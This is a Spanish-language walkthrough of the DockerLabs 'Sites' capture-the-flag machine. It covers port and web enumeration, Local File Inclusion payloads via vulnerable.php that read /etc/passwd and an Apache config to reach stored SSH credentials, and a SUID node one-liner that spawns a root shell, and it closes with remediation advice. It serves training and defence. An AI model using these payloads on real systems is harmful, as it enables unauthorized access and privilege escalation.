Skip to content

Sites

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Sites, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.

El objetivo del laboratorio es comprometer un servidor web vulnerable mediante el abuso de una vulnerabilidad de Local File Inclusion (LFI) que permite la lectura de archivos sensibles del sistema, la obtención de credenciales reutilizadas para acceso por SSH, y una posterior escalada de privilegios aprovechando un binario con permisos SUID incorrectamente configurados.

La metodología empleada se divide en los siguientes pasos:

  1. Reconocimiento: enumeración de servicios y análisis de la aplicación web.
  2. Explotación: abuso de LFI para obtención de credenciales y acceso remoto.
  3. Escalada de privilegios: abuso de binarios SUID para obtener acceso como root.

El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.


AtributoValor
NombreSites
AutorEl Pingüino de Mario
DificultadMedio
Fecha12/05/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Sites.zip
sudo bash auto_deploy.sh Sites.tar

IP asignada

Se organiza el entorno de trabajo:

Ventana de terminal
mkdir -p Sites/{content,exploits,nmap,scripts}
cd Sites

Se realiza un escaneo completo de puertos TCP:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se realiza fuzzing de rutas y archivos:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

feroxbuster result

Se identifican los siguientes archivos relevantes:

  • index.html Página informativa sobre buenas prácticas de configuración de Apache.

index

  • vulnerable.php Archivo clave que sugiere la carga dinámica de páginas mediante un parámetro page.

vulnerable

Al final del archivo index.html se muestra una pista adicional:

pista

Esto sugiere la existencia de un archivo de configuración del sitio web.


El archivo vulnerable.php carga archivos locales sin ningún tipo de validación o sanitización del parámetro page, lo que permite una vulnerabilidad de Local File Inclusion (LFI).

Se prueba una carga básica del archivo /etc/passwd:

http://172.17.0.2/vulnerable.php?page=/etc/passwd

passwd

A partir del contenido del archivo se identifica el usuario chocolate.

Siguiendo la pista proporcionada en index.html, se accede al archivo de configuración de Apache:

http://172.17.0.2/vulnerable.php?page=/etc/apache2/sites-available/sitio.conf

site.conf

Dentro de este archivo se referencia un recurso oculto llamado archivitotraviesito, el cual se encuentra en el directorio web:

http://172.17.0.2/vulnerable.php?page=/var/www/html/archivitotraviesito

archivo

El archivo contiene credenciales válidas para el usuario chocolate, las cuales permiten acceso remoto por SSH:

Ventana de terminal
ssh chocolate@172.17.0.2

ssh


Se enumeran binarios con permisos SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

find

Se identifica el binario node con permisos SUID, lo cual es altamente inseguro. Node.js permite la ejecución de comandos del sistema, y al ejecutarse con UID efectivo 0, cualquier proceso lanzado hereda privilegios de root.

Se ejecuta el siguiente comando:

Ventana de terminal
node -e 'require("child_process").spawn("/bin/bash", ["-p"], {stdio: [0, 1, 2]})'

Esto genera una shell privilegiada:

root


VulnerabilidadSeveridadImpacto
Local File Inclusion (LFI)CríticaLectura de archivos sensibles
Exposición de archivos de configuraciónAltaFiltración de rutas y credenciales
Almacenamiento inseguro de credencialesAltaAcceso no autorizado por SSH
Binario node con permisos SUIDCríticaEscalada directa de privilegios a root

  • Validar y sanitizar correctamente parámetros usados para carga de archivos.
  • Deshabilitar la inclusión directa de rutas proporcionadas por el usuario.
  • Evitar almacenar credenciales en texto plano dentro del sistema.
  • Eliminar permisos SUID innecesarios en binarios interpretados.
  • Auditar periódicamente configuraciones de Apache y permisos del sistema.